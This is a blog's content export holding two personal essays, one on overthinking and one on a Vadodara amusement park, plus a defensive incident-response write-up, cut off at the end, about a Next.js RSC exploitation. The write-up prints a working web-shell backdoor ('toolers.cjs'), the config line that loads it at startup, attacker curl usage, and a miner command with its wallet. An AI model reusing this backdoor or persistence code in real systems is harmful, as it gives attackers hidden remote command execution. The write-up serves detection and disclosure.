[{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/tags/introspection/","section":"Tags","summary":"","title":"Introspection","type":"tags"},{"content":"There’s a pattern I can’t unsee.\nSomething goes wrong.\nYou deal with it.\nYou fix it.\nAnd just when things start to feel\u0026hellip; okay\u0026hellip;\nSomething else shows up.\nNot always big. Sometimes small. Sometimes stupid.\nBut enough to disturb whatever fragile \u0026ldquo;okay\u0026rdquo; you were starting to feel.\nAnd slowly, without announcing itself, a thought settles in:\nIs this just how life is? One problem after another?\nI don’t think I’m asking this out of curiosity.\nI think I’m tired.\nNot the kind of tired sleep fixes.\nThe kind where your mind doesn’t sit down even when your body does.\nThere’s also something else I’ve noticed about myself.\nI don’t just go through things.\nI think through them. Over and over.\nReplay. Re-evaluate. Re-question.\nWhy did that happen?\nCould I have done better?\nWhat if this leads to something worse?\nIt’s like my brain doesn’t trust silence.\nIt fills every gap with analysis.\nAnd somewhere in that loop, even normal days start feeling heavy.\nThe strange part is\u0026hellip;\nNothing is terribly wrong most of the time.\nLife isn’t falling apart.\nBut it never really feels settled either.\nLike I’m always between:\nfixing something waiting for something or thinking about something Peace feels temporary. Almost suspicious.\nAnd then there’s this part I don’t fully understand about myself.\nA good moment\u0026hellip; doesn’t stay.\nSomething I worked hard for, something I wanted for a long time\u0026hellip;\nwhen it finally happened, it felt real for a while.\nBut not for long.\nIt faded quietly. No drama. No closure. Just\u0026hellip; gone.\nAnd yet, something that didn’t go my way, long back,\nsomething I thought I had moved past\u0026hellip;\nstill shows up uninvited.\nAt night. In silence.\nIn random flashes.\nLike it never really left.\nMaybe that’s just how the mind is wired.\nNot fair, but consistent.\nIt holds on to what hurt longer than what healed.\nGives more weight to what went wrong than what went right.\nAnd if you don’t notice it happening,\nit slowly shapes the story you tell yourself about your life.\nThere’s another uncomfortable truth I don’t like admitting:\nI don’t let things be \u0026ldquo;enough.\u0026rdquo;\nEven when a day goes fine, there’s a voice that says:\nYou could have done more.\nEven when things are stable:\nWhat’s next?\nEven when nothing is wrong:\nSomething will be.\nSo maybe it’s not just life that feels like suffering.\nMaybe it’s the way I’m experiencing it.\nThis doesn’t mean life is easy.\nIt’s not.\nThere are real problems. Real losses. Real pressure.\nBut not every moment is a problem.\nAnd not every silence needs to be filled with worry.\nI’m starting to think\u0026hellip;\nMaybe peace isn’t something that appears when everything is solved.\nMaybe it’s something you allow,\neven when everything isn’t.\nI don’t have a clean conclusion for this.\nNo \u0026ldquo;5 steps to fix your life.\u0026rdquo;\nNo breakthrough moment.\nJust this:\nI’m trying to notice when I turn neutral moments into heavy ones.\nTrying to let a day be just a day.\nTrying to not question everything.\nSome days I manage.\nSome days I don’t.\nBut for now, that feels like a start.\n","date":"4 April 2026","externalUrl":null,"permalink":"/posts/is-it-just-me-or-does-life-feel-like-a-series-of-problems-waiting-their-turn/","section":"Posts","summary":"There’s a pattern I can’t unsee.\nSomething goes wrong.\nYou deal with it.\nYou fix it.\nAnd just when things start to feel… okay…\nSomething else shows up.\nNot always big. Sometimes small. Sometimes stupid.\nBut enough to disturb whatever fragile “okay” you were starting to feel.\n","title":"Is It Just Me, or Does Life Feel Like a Series of Problems Waiting Their Turn?","type":"posts"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/tags/life/","section":"Tags","summary":"","title":"Life","type":"tags"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/tags/mental-patterns/","section":"Tags","summary":"","title":"Mental Patterns","type":"tags"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/tags/overthinking/","section":"Tags","summary":"","title":"Overthinking","type":"tags"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/authors/pratik/","section":"Authors","summary":"","title":"Pratik","type":"authors"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/","section":"Pratik’s Localhost","summary":"","title":"Pratik’s Localhost","type":"page"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/categories/reflections/","section":"Categories","summary":"","title":"Reflections","type":"categories"},{"content":"","date":"4 April 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/adventure-park/","section":"Tags","summary":"","title":"Adventure Park","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/architecture/","section":"Tags","summary":"","title":"Architecture","type":"tags"},{"content":" I went to Atapi Wonderland expecting noise, rides, and crowd energy.\nWhat I didn’t expect?\nA playground of color theory, symmetry experiments, rustic textures, and sunlight behaving like a spotlight operator.\nThis post is less about rides — and more about light, angles, and observation.\nThe Journey Begins # We came a little too early. The gates were open, but the park hadn’t fully woken up yet. No queues, no noise, none of the chaos you expect from a place built for excitement. Just clean lines of railings, empty chairs placed almost too perfectly, umbrellas casting soft shadows on untouched tables. The cold breeze moved through the trees like it didn’t care whether it was Valentine’s Day or just another afternoon. I kept thinking — these chairs are waiting. For conversations that will happen. For ones that won’t. For laughter, maybe awkward silences. Some stories will start here and finish somewhere else. Some will begin and stay incomplete, like most things do. The symmetry of the buildings, the neat rows, the stillness — it all felt calmer than expected. I had come prepared for chaos, but instead found pause. And in that pause, something felt honest. Like the park was holding its breath before the world rushed in.\nFragments of a Wonderland # We kept walking, and the place slowly started feeling less like an amusement park and more like a collection of small moments. The lotus was just there — open, soft, not trying too hard. The yellow car looked tired but proud, like it had already lived its exciting years and was okay standing still now. That balloon thing above us — it almost felt like it wanted to float away but couldn’t. I don’t know why, but that felt relatable.\nThe entry lanes were still mostly empty, all those railings perfectly arranged, waiting for people who hadn’t arrived yet. Later they’d be messy, loud, impatient. But at that moment they were calm. The giant swing ride finally had people on it, spinning in circles against a wide, clear sky. From below it looked chaotic, but if you looked properly, it was balanced. Even the deer statues — frozen mid-leap, heads raised — felt like they were waiting for something we couldn’t see.\nIt wasn’t dramatic. It wasn’t overly romantic either. It was just… quiet in between things. Like the world hadn’t fully decided what kind of day it wanted to be yet. And we happened to be there in that in-between.\nThe Corner Everyone Walked Past # This part of the park was supposed to be artificial — painted mud walls, neatly arranged huts, doors aged on purpose. And still, it didn’t feel fake. It felt like someone had just stepped out and would return by evening. The blue wooden doors, the clay roof tiles holding dry leaves, the charpai resting outside in the sun — everything carried a softness the city doesn’t allow anymore. No rush. No urgency. Just light falling through trees as if it had all the time in the world.\nWhat stayed with me most was the emptiness. The rides nearby had noise, laughter, people chasing excitement. But this little village corner stood untouched. As if even inside a park, we instinctively move away from villages. The same pattern we follow in life — leaving gaon for sheher, silence for speed, roots for ambition.\nAnd standing there, those lines kept echoing in my head — written by Irshad Kamil, but feeling far too personal to belong to just one man:\n“Jabse gaanv se main shehar hua, Itna kadva ho gaya ki zehar hua…”\nWhen Shah Rukh Khan — the one I’ve admired for as long as I can remember — carried those words on screen, they never felt like lyrics. They felt like confession. Like someone admitting that in becoming more, we sometimes become harsher. That somewhere between leaving home and building a life, something gentle gets lost.\nThat artificial village didn’t feel artificial at all. It felt like memory. Of slower evenings. Of sitting outside instead of rushing inside. Of a life that didn’t need to prove anything to anyone. The doors were closed, but not guarded. The air was still, but not heavy.\nMaybe that’s why it hurt quietly.\nBecause once you leave a village — even a recreated one inside a park — you don’t fully belong there again. And the city never completely becomes yours either.\nSafar ka hi tha main… safar ka raha.\nChildhood in a Small Glass Sphere # Under those bright strips of cloth tied to the sky, it didn’t feel like a park anymore. It felt like the kind of open ground where evenings belong to children.\nThe wooden rocking horse stood there, slightly tilted, as if waiting for someone small and fearless to jump on it. Not for a picture. Not for social media. Just to rock back and forth until imagination turned it into a real horse racing across fields.\nAnd then I saw them — the marbles. Kancha.\nWe used to play with them for hours. Dust on our hands, knees on the ground, eyes fixed on that tiny glass ball as if the whole world depended on that one shot. In our little universe, status was simple — the more kanchaas you had, the more power you carried. The ones who won more had a certain authority. A certain say. And I’ll admit it… I was one of them. I had my small kingdom of glass marbles, and for that moment in childhood, it meant everything.\nThere were no scoreboards. No online ranks. Just pride in your pocket.\nToday, you rarely see children in cities playing kancha. PlayStations glow in dark rooms. Mall game zones blink with artificial lights. Wins are stored in servers now, not in shirt pockets. But something about holding a kancha in your hand — cool, smooth, slightly scratched — felt more real than any digital trophy ever could.\nThe spinning top lying sideways there, its thread tangled, reminded me of how suddenly games end. One day you’re crouched in the dirt, arguing about rules. The next day you’re too “grown up” to sit on the ground.\nVillage games were never just about winning.\nThey were about belonging. About laughter echoing across open fields. About building your own hierarchy, your own pride, your own tiny republic of childhood.\nStanding there, looking at those forgotten toys, I didn’t just miss the games.\nI missed who I was when I played them.\nAnd maybe one day — just once — I’d like to sit on the ground again, draw a small circle in the dust, flick a kancha with my thumb, and feel that simple, unquestioned joy return.\nWhere the Sky Becomes the Wedding Hall # These bright fabrics stretched across the sky instantly felt like a village wedding — not the loud, chandelier-heavy ballroom kind, but the kind where the whole sky becomes the ceiling and the earth itself is the floor. Pink, yellow, blue, green — the colours weren’t just decoration; they felt like emotions stitched together and tied to one pole, spreading outward like quiet blessings. The shadows they cast on the mud looked like mehendi patterns drawn gently by the sun.\nThere’s something about a village wedding that doesn’t try too hard. No rehearsed choreography, no perfect lighting for social media — just people, laughter, steel plates clinking, children running barefoot, elders sitting on charpais retelling the same old stories as if they’re new. The red curtains in one corner felt like a stage waiting for someone to start singing — maybe an old folk tune, maybe a film song everyone knows but pretends they don’t.\nIt felt like we had arrived after something important had already happened. The fabric still stretched in every direction, bright and dramatic against the sky, like it had just witnessed music, dancing, maybe even a few quiet tears. I could almost see the procession — the bride walking in from one side, the groom standing under those ribbons, trying to look composed but failing a little.\nStanding there, I felt that strange mix of joy and ache — the kind that comes when you realize moments like this are simple, but rare. In cities, weddings are events. Here, they feel like memories being made slowly. As if time itself pauses, adjusts its pagdi, and sits down quietly to watch.\nBeneath the Masks, Under the Lights # By evening, the park had changed its mood. The mascots had come out — oversized smiles, bright costumes, exaggerated waves — bending down to hug children, posing for photos, dancing without rhythm but with full heart. The children saw magic. We saw colour, movement, laughter. But beneath those masks, we don’t really know what storms might be hiding. Tired feet, unpaid bills, silent battles, heavy thoughts — all zipped inside foam suits and painted smiles. And maybe that’s what makes it more real. Because in some way, we are all like that — performing joy while carrying our own weather inside.\nAs night slowly settled, the lights turned on one by one. Some glowed strong, some flickered, some dimmed as if already tired. The buildings looked softer under neon outlines, the pathways warmer under yellow lamps. It felt festive, almost unreal — like the day refused to end properly. People kept walking around even after closing announcements echoed through the air. No one seemed in a hurry to leave. As if going home meant returning to responsibilities, routines, the weight of tomorrow.\nThe music faded. The mascots disappeared. Stalls shut down. The coloured fabrics that looked dramatic in daylight now hung quietly in the dark. A gentle silence began returning — not complete silence, just a softer version of it. A morning-like calm, but wrapped in night.\nAnd yet people lingered. Slow steps. Unnecessary rounds. One last look. Maybe we all wanted to stretch the feeling a little longer — this small escape from our daily lives. But eventually, we had to go. The lights dimmed, the gates closed, and we walked back to the place we call home — carrying a little colour with us, even if only inside.\nClosing Thoughts — What Stayed With Me # Atapi Wonderland is built for spectacle.\nBright colours. Curated excitement. Carefully designed happiness. Joy, arranged in sections.\nBut I didn’t chase the rides. I didn’t frame the chaos.\nI found myself drawn to quieter things — lines stretching toward a single point in the sky, empty charpais waiting for stories, mud walls carrying patterns older than the park itself, colours hanging above ground that had already heard too much silence.\nMaybe that says more about me than it does about the place.\nI have always searched for order inside noise. For geometry inside emotion. For pauses inside celebration.\nThe park was alive — music, mascots, laughter, flashing lights. But my frames kept choosing stillness.\nAnd maybe that’s how I survive the world. By finding something steady inside movement. Something quiet inside performance.\nThe night ended. The lights dimmed. The gates closed. But what stayed with me wasn’t the excitement — it was the silence hiding beneath it.\nAnd somehow, that felt enough.\nGallery — All Moments # ","date":"16 February 2026","externalUrl":null,"permalink":"/posts/atapi-wonderland/","section":"Posts","summary":" I went to Atapi Wonderland expecting noise, rides, and crowd energy.\nWhat I didn’t expect?\nA playground of color theory, symmetry experiments, rustic textures, and sunlight behaving like a spotlight operator.\n","title":"Atapi Wonderland, Ajwa, Vadodara, Gujarat — A Color Study in Chaos and Calm","type":"posts"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/colors/","section":"Tags","summary":"","title":"Colors","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/gujarat/","section":"Tags","summary":"","title":"Gujarat","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/photography/","section":"Tags","summary":"","title":"Photography","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/street/","section":"Tags","summary":"","title":"Street","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/categories/travel/","section":"Categories","summary":"","title":"Travel","type":"categories"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/travel/","section":"Tags","summary":"","title":"Travel","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/vadodara/","section":"Tags","summary":"","title":"Vadodara","type":"tags"},{"content":"","date":"16 February 2026","externalUrl":null,"permalink":"/tags/weekend-getaway/","section":"Tags","summary":"","title":"Weekend Getaway","type":"tags"},{"content":"","date":"8 February 2026","externalUrl":null,"permalink":"/tags/cve-2025-66478/","section":"Tags","summary":"","title":"CVE-2025-66478","type":"tags"},{"content":" What started as \u0026ldquo;why is CPU hot again?\u0026rdquo; ended with a full kill-chain reconstruction: public Next.js RSC RCE exploit, in-memory shell, persistent toolers.cjs backdoor, then 28 days of Monero mining plus a dormant DDoS payload.\nThis is a technical, command-first write-up: what was observed, how it was validated, and how the findings were converted into durable detections.\nIntroduction # This incident was not noisy at first. No ransomware banner, no obvious defacement, no dramatic outage.\nInstead, telemetry showed a long, quiet burn:\nsustained CPU pressure, non-standard outbound traffic, and executable sprawl in places that should have stayed boring (~/.cache, /dev/shm). The turning point came after correlating host artifacts with prior CVE-2025-66478 analysis: the toolers.cjs implant used the same http.Server.prototype.emit monkey patching pattern, hidden command endpoint, and child_process.execSync execution flow seen in public runtime memory shell demonstrations.\nIncident Snapshot # Signal Finding Dwell time ~28 days (Jan 2 to Jan 30, 2026) Active miner XMRig, persistent CPU abuse Secondary payload DDoS-capable trojan, mass replicated File blast radius 1,567+ identical malicious binaries observed Primary persistence @reboot cron entry under compromised user Key network IOC 46.250.239.154:10128 (gulf.moneroocean.stream) The most expensive lesson was not the compute bill. It was the 28-day detection gap. Environment and Telemetry (Sanitized) # This matters because detections should be opinionated about stack. The investigated environment looked like this:\nLayer Observed Components Host Ubuntu 22.04.x, single internet-facing app server Frontend Next.js (RSC enabled) Backend Django/Gunicorn Edge Nginx reverse proxy Data PostgreSQL Runtime Docker present (not primary attack surface in this case) Control gaps observed in the affected environment:\nno long-retention web access logs covering the initial compromise window, no file integrity monitoring on home directories, no default-deny outbound policy. Attack Chain (Reconstructed) # Jan 2, 2026 - Initial Access via Next.js RSC RCE Attacker exploited a Next.js React Server Components (RSC) server-side execution flaw (CVE-2025-66478), part of the broader React2Shell-class exploitation patterns documented for CVE-2025-55182. Jan 2, 2026 - Backdoor Upgrade Memory shell was converted into a persistent file-based implant: `toolers.cjs`, with API key gating and endpoint camouflage (`/_cluster/report`). Jan 2-3, 2026 - Payload Deployment and Persistence Backdoor-enabled RCE was used to deploy dropper + miner. Cron `@reboot` ensured restart persistence. Malware also used self-healing loops. Jan 3-30, 2026 - Resource Hijacking Miner maintained pool connectivity and consumed host resources. DDoS binary set remained available for remote tasking. Jan 30, 2026 - Containment IR team blocked egress IOC, terminated malicious processes, removed cron persistence, collected forensic artifacts, and rotated credentials. Confirming Initial Access: Next.js RSC RCE (React2Shell-class) # Early in triage, two competing hypotheses emerged:\nsomeone dropped a backdoor via SSH (credential compromise), or someone exploited the web stack (public-facing app RCE). Attribution confidence increased after comparing the on-disk implant to publicly documented Next.js RSC exploitation patterns and runtime memory shell characteristics.\nUnderstanding the Vulnerability # React2Shell (CVE-2025-55182) describes a broader class of RSC exploitation patterns. In this incident, evidence aligned most strongly with a Next.js RSC server-side execution path tracked as CVE-2025-66478.\nFor detailed technical analysis of React2Shell exploitation mechanics:\nGoogle Cloud Threat Intelligence: React2Shell CVE-2025-55182 Next.js Official Security Advisory The vulnerability enables attackers to inject arbitrary JavaScript into the Node.js process through specially crafted HTTP requests exploiting prototype pollution in React Server Components.\nPublic Research and Validation Tools # During investigation, we correlated findings with the public GitHub repository Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478, which provides a scanner and supporting research artifacts for identifying potentially vulnerable Next.js RSC deployments. We used it for validation and to compare observed implant patterns against publicly documented techniques.\nThe Runtime Memory Shell Pattern # Public discussions of this vulnerability class demonstrate a common exploitation pattern: injecting a \u0026ldquo;runtime memory shell\u0026rdquo; that monkey-patches Node\u0026rsquo;s HTTP server to add a backdoor endpoint. The basic behavioral signature involves:\nOverriding http.Server.prototype.emit to intercept HTTP requests Checking for a specific backdoor endpoint path Executing arbitrary commands via child_process methods Passing non-matching requests to the original handler This gives attackers a simple web shell accessible via HTTP, but it only lives in the running Node.js process memory. If the server restarts, the backdoor disappears—unless the attacker upgrades it to persistent storage.\nThe Backdoor: toolers.cjs — Persistent Upgrade # The threat actor didn\u0026rsquo;t settle for a volatile memory shell. They upgraded to a persistent, authenticated backdoor saved as toolers.cjs.\nBackdoor Code Structure (Full Source) # const http = require(\u0026#34;http\u0026#34;); const child_process = require(\u0026#34;child_process\u0026#34;); const API_KEY = \u0026#34;t5uGxN4deg0xQQaDc2CVtewN\u0026#34;; const BACKDOOR_PATH = \u0026#34;/_cluster/report\u0026#34;; const originalEmit = http.Server.prototype.emit; http.Server.prototype.emit = function(event, ...args) { if (event === \u0026#34;request\u0026#34;) { const [request, response] = args; try { const url = new URL(request.url, \u0026#34;http://x\u0026#34;); if (url.pathname === BACKDOOR_PATH) { // Authentication check if (request.headers[\u0026#34;api-key\u0026#34;] !== API_KEY) { response.writeHead(401); response.end(\u0026#34;Unauthorized\u0026#34;); return true; } // Command execution const command = url.searchParams.get(\u0026#34;0\u0026#34;); if (command) { response.writeHead(200); response.end(child_process.execSync(command).toString()); return true; } } } catch(e) {} } return originalEmit.apply(this, arguments); }; Operational Characteristics # The backdoor exposed an authenticated HTTP endpoint that returned command output. Example of attacker usage pattern (for detection purposes):\n# Pattern observed in threat actor operations: curl -H \u0026#34;api-key: t5uGxN4deg0xQQaDc2CVtewN\u0026#34; \\ \u0026#34;https://target.example.com/_cluster/report?0=whoami\u0026#34; curl -H \u0026#34;api-key: t5uGxN4deg0xQQaDc2CVtewN\u0026#34; \\ \u0026#34;https://target.example.com/_cluster/report?0=id\u0026#34; This enabled remote tasking while minimizing application-layer visibility. Key behavioral traits:\nEndpoint camouflage: /_cluster/report mimics Elasticsearch cluster health endpoints Authentication gate: Required specific header to prevent unauthorized access or other threat actor interference Obfuscated parameters: Used non-obvious query parameter names Silent error handling: Wrapped in try/catch to suppress runtime errors Early request interception: Processed before reaching Next.js routing layer Why .cjs Extension Matters # In modern Node.js projects, .cjs files are always treated as CommonJS modules, regardless of package.json settings. This makes the backdoor reliable across different Next.js configurations.\nPersistence Mechanism # The backdoor was injected into the Next.js configuration file:\n// next.config.ts (observed injection pattern) try { require(\u0026#34;./src/app/event/toolers.cjs\u0026#34;); } catch (_) {} This line:\nLoads the backdoor on every server start (dev, build, production) Runs before the application handles requests Suppresses errors with try/catch (stealth) Survives server restarts and deployments Backdoor Evolution Comparison # Attribute Public Memory Shell Pattern toolers.cjs (Observed) Endpoint Obvious paths (e.g., /exec, /cmd) /_cluster/report (infrastructure mimicry) Authentication None or weak Header-based API key validation Parameter Clear names (?cmd=, ?command=) Obfuscated (?0=) Delivery In-memory (volatile) Persisted to disk as .cjs file Module System ES modules (import) CommonJS (require()) for reliability Error Handling Verbose errors Silent try/catch (stealth) This is a common pattern in web application compromises: exploit for initial entry, then immediately deploy a second-stage access mechanism that is easier to operate, harder to detect, and survives restarts. The volatile memory shell becomes a persistent backdoor within hours. Technical Notes for Code Auditors # Key details that materially affected triage:\nThe implant was tiny (about 547 bytes), minified, and loaded as a CommonJS module (.cjs) Load path was hidden in config startup code After handling the backdoor endpoint, code returns early (return true) and does not pass the request to normal app handlers, reducing app-layer visibility Logic is wrapped in silent try/catch, suppressing runtime errors that might otherwise create obvious logging noise Code Audit Indicators # If you are auditing a Node/Next codebase for this class of implant, these searches are high-signal:\n# Search for HTTP server monkey-patching patterns rg -n \u0026#34;http\\\\.Server\\\\.prototype\\\\.emit|child_process\\\\.execSync\u0026#34; . # Search for suspicious endpoint patterns rg -n \u0026#34;/_cluster/report|/_admin|/_internal\u0026#34; . # Find all .cjs files in unexpected locations find . -name \u0026#34;*.cjs\u0026#34; -not -path \u0026#34;*/node_modules/*\u0026#34; If you find http.Server.prototype.emit being reassigned in application code, treat it as suspicious until proven otherwise.\nMalware Mechanics: The Cache Hydra # The dropper and trojan behavior showed classic commodity botnet economics:\nmultiple binaries copied into writable paths, process masquerading names that looked system-ish, watchdog-style loops to respawn killed processes, self-deletion and deleted-file-handle execution for anti-forensics. Representative validation from collected artifacts:\nfind ~/.cache -type f -executable | xargs sha256sum | cut -d\u0026#39; \u0026#39; -f1 | sort | uniq -c 1567 f26c42805f8ebbff5ce9be40ddd02bcf54acdbfc97a78c7ade7688d8b064bdc4 Direct sample hash confirmation:\nsha256sum /home/[redacted]/.cache/.sys8Py7HQRDBZ /tmp/miner_binary /tmp/libsystemd_core.sh f26c42805f8ebbff5ce9be40ddd02bcf54acdbfc97a78c7ade7688d8b064bdc4 .cache/.sys8Py7HQRDBZ 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c /tmp/miner_binary 093c2390fea2f9839eff0c69e2d064ccda17f59d0bf863abc8c0067244d6c63d /tmp/libsystemd_core.sh In this dataset, one hash appeared 1,567 times (f26c42805f8ebbff5ce9be40ddd02bcf54acdbfc97a78c7ade7688d8b064bdc4), with additional variants seen during broader IOC validation.\nIf deleting one sample does not change host behavior, assume a regeneration mechanism is still alive. Why ~/.cache and /dev/shm Keep Appearing # Attackers favor locations that are:\nwritable by unprivileged users, noisy enough to hide in, and rarely monitored. Two favorites:\n~/.cache: \u0026ldquo;junk drawer\u0026rdquo; semantics, few baselines, lots of legitimate churn /dev/shm: in-memory tmpfs, often fast, often executable, frequently ignored by file monitoring Dropper Behavioral Traits # The dropper script (libsystemd_core.sh) exhibited several traits common in commodity cloud malware:\nSelects writable working directory from a short list (~/.cache, ~/.config, /tmp, /dev/shm) Deploys architecture-appropriate payload (multi-arch support increases hit-rate) Runs watchdog loop to restart the miner if it dies Attempts basic anti-forensics (self-delete or overwrite) The operational point is not the exact script mechanics; it is the pattern: persistence + regeneration.\nHost Forensics: The Evidence That Mattered # This section is intentionally CLI-heavy. When you are under time pressure, you want commands that answer specific questions quickly.\nProcess Triage # These were the fastest signal generators:\nps auxf ps -eo pid,ppid,user,etime,pcpu,pmem,cmd --sort=-pcpu | head -n 25 pstree -a -p | head -n 80 Representative output:\n2667536 1 [redacted] 27-xx:xx:xx 0.0 0.2 sh libsystemd_core.sh 2523017 1 [redacted] 28-xx:xx:xx 32.0 1.1 /dev/shm/.x/m -o gulf.moneroocean.stream:10128 \\ -u 43yiB8RenFLGQdK97HGVpLjVeQaCSWDbaec2ZQcav6e7a3QnDEmKq3t3oUoQD9HgwXAW8RQTWUdXxN5WGtpStxAtRrH5Pmf \\ -p wmjw4al3q --cpu-max-threads-hint=75 -B --donate-level=0 Hunt focus:\nLong-lived processes with high CPU Executables launched from user-writable paths Orphans (PPID 1) or suspicious parentage (shell → random binary) Network Triage # To confirm resource hijacking, CPU-heavy processes were correlated with outbound connections:\nss -tunap netstat -tunap lsof -i -n -P | head -n 50 Representative output:\ntcp ESTAB 0 0 192.1.200.35:49308 46.250.239.154:10128 users:((\u0026#34;m\u0026#34;,pid=2523017,fd=12)) Telemetry showed persistent outbound connections to:\ngulf.moneroocean.stream:10128 46.250.239.154:10128 Why port 10128? Mining operators often run Stratum-over-TLS on non-default ports to evade naive port-based blocks (many defenders only block 3333/4444/5555).\nPersistence Triage (Cron) # crontab -l crontab -l | rg \u0026#34;@reboot\u0026#34; rg -n \u0026#34;@reboot\u0026#34; /var/spool/cron /var/spool/cron/crontabs /etc/cron.* /etc/crontab 2\u0026gt;/dev/null Representative output:\n@reboot /home/[redacted]/.cache/sslsessiond @reboot /home/[redacted]/.cache/oom_reaper The persistence anchor was a user crontab entry executing a file from ~/.cache at boot.\nDeleted File Handles (Anti-Forensics Tell) # One valuable indicator was a process executing from a deleted file handle—common when malware wants to reduce on-disk artifacts:\nls -la /proc/\u0026lt;pid\u0026gt;/fd readlink /proc/\u0026lt;pid\u0026gt;/exe Representative output:\nlr-x------ 1 [redacted] [redacted] 64 Jan 30 14:10 10 -\u0026gt; /home/[redacted]/.cache/.m2/libsystemd_core.sh (deleted) /dev/shm/.x/m (deleted) If you see (deleted) in file descriptor links, treat it as a high-severity investigation lead.\nIndicators of Compromise (IoCs) # Network IoCs # Indicator Type Notes gulf.moneroocean.stream:10128 domain:port mining pool 46.250.239.154:10128 ip:port mining pool endpoint moneroocean.stream domain related infra AS141995 ASN infrastructure observed in SG-hosted mining traffic File/Hash IoCs (SHA256) # Hash (full SHA256) Component f26c42805f8ebbff5ce9be40ddd02bcf54acdbfc97a78c7ade7688d8b064bdc4 DDoS trojan (mass-replicated binaries) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c XMRig miner binary 093c2390fea2f9839eff0c69e2d064ccda17f59d0bf863abc8c0067244d6c63d dropper script (libsystemd_core.sh) 83ba11da89aa7957d9116cbef3a4427bc16cf354276d1ef81b9fc77cd0e7a01d trojan variant hash 2b15a4f07f54f9bc90e35aa8abf442cf622e55d131d382023c766df6c3362822 trojan variant hash d96c34a2c192ebf5b29b3609583dbd0db2979cd1d121c1670feea46fb6ee9ac3 trojan variant hash Path/Pattern IoCs # Pattern Why it matters ~/.cache/.m2/ and ~/.cache/.systemd/ staging areas used by malware /dev/shm/.x/ common miner staging path @reboot /home/[redacted]/.cache/sslsessiond primary persistence observed @reboot /home/[redacted]/.cache/oom_reaper additional persistence variant @reboot.*\\.cache/[a-z_]+ useful generic hunt pattern /_cluster/report backdoor endpoint pattern toolers.cjs backdoor filename observed Behavioral IoCs # Behavior Detection Opportunity http.Server.prototype.emit reassignment in app code Code audit / runtime monitoring child_process.execSync in unexpected modules Static analysis / runtime hooks .cjs files in application source (not node_modules) File integrity monitoring require() calls in config files loading non-config paths Config file auditing Wallet / Operator IoCs # Indicator Type Notes 43yiB8RenFLGQdK97HGVpLjVeQaCSWDbaec2ZQcav6e7a3QnDEmKq3t3oUoQD9HgwXAW8RQTWUdXxN5WGtpStxAtRrH5Pmf Monero wallet miner payout address wmjw4al3q worker id miner worker label Fast Validation Commands # # Check for active mining connections ss -tunap | rg \u0026#34;46.250.239.154|10128|gulf.moneroocean\u0026#34; # Check for suspicious cron entries crontab -l | rg \u0026#34;@reboot.*\\.(cache|config|local/share)\u0026#34; # Hunt for executable files in user writable paths find ~/{.cache,.config,.local} /tmp /dev/shm -type f -executable 2\u0026gt;/dev/null # Search codebase for backdoor patterns rg -n \u0026#34;http\\.Server\\.prototype\\.emit\u0026#34; --type js Detection and Response Engineering # Host Detections Network Detections App Layer Detections Code Security Alert when executables appear in user cache paths (~/.cache, /tmp, /dev/shm) Alert on suspicious cron @reboot entries pointing to user-writable locations Track long-running high-CPU processes whose executable path is outside trusted system directories Monitor for processes running from deleted file handles Flag egress to known mining pool domains and non-standard mining ports (10128, 3333, 5555, 14433) Correlate unusual outbound persistence with process ancestry from suspicious paths Treat long-lived TLS sessions to unknown infrastructure as hunt candidates Monitor for Stratum protocol patterns on non-standard ports Watch for suspicious requests matching RSC exploit patterns ($1:__proto__:then, abnormal Next-Action usage) Detect hidden administrative paths (e.g., /_cluster/*, /_admin/*, /_internal/*) with custom headers Add file-integrity monitoring for unexpected .cjs additions in application source trees Alert on modifications to framework config files (e.g., next.config.ts, next.config.js) Audit for http.Server.prototype modifications in application code Review all require() statements in config files Scan for child_process usage in non-build-tool contexts Monitor for .cjs files outside node_modules/ One Practical Rule: Correlate Weak Signals # Any single indicator can be noisy:\nhigh CPU can be a load spike, @reboot can be legitimate, outbound TLS can be normal. But the combination caught this incident:\nHigh CPU + long runtime Executable path under ~/.cache or /dev/shm Outbound connection to mining pool endpoint If your SIEM/EDR cannot express this correlation, you will keep losing time to single-signal triage.\nRepresentative Containment Sequence # Immediate actions taken:\nBlock egress to known IoCs\nHost firewall rules for mining pool destinations Perimeter blocks for associated ASNs if broader impact suspected Terminate malicious process tree\nIdentify parent/child relationships via pstree Terminate in dependency order to prevent respawn Remove persistence mechanisms\nUser crontab entries Systemd user units Shell profile modifications Application config injections Collect forensic artifacts\nProcess listings with full command lines Network connection states File samples from malware staging paths Memory dumps of suspicious processes (if tooling available) Rotate credentials and tokens\nApplication service accounts Database credentials API keys and secrets SSH keys for compromised user Patch and rebuild\nUpdate Next.js to patched versions Review and clean application source tree Consider full rebuild from clean source if repo integrity uncertain Post-action verification:\n# Confirm process termination ps aux | rg -i \u0026#34;xmr|miner|libsystemd_core\u0026#34; # Confirm network cleanup ss -tunap | rg \u0026#34;moneroocean|46.250.239.154\u0026#34; # Confirm persistence removal crontab -l systemctl --user list-units Evidence Collection (Before Containment) # If time 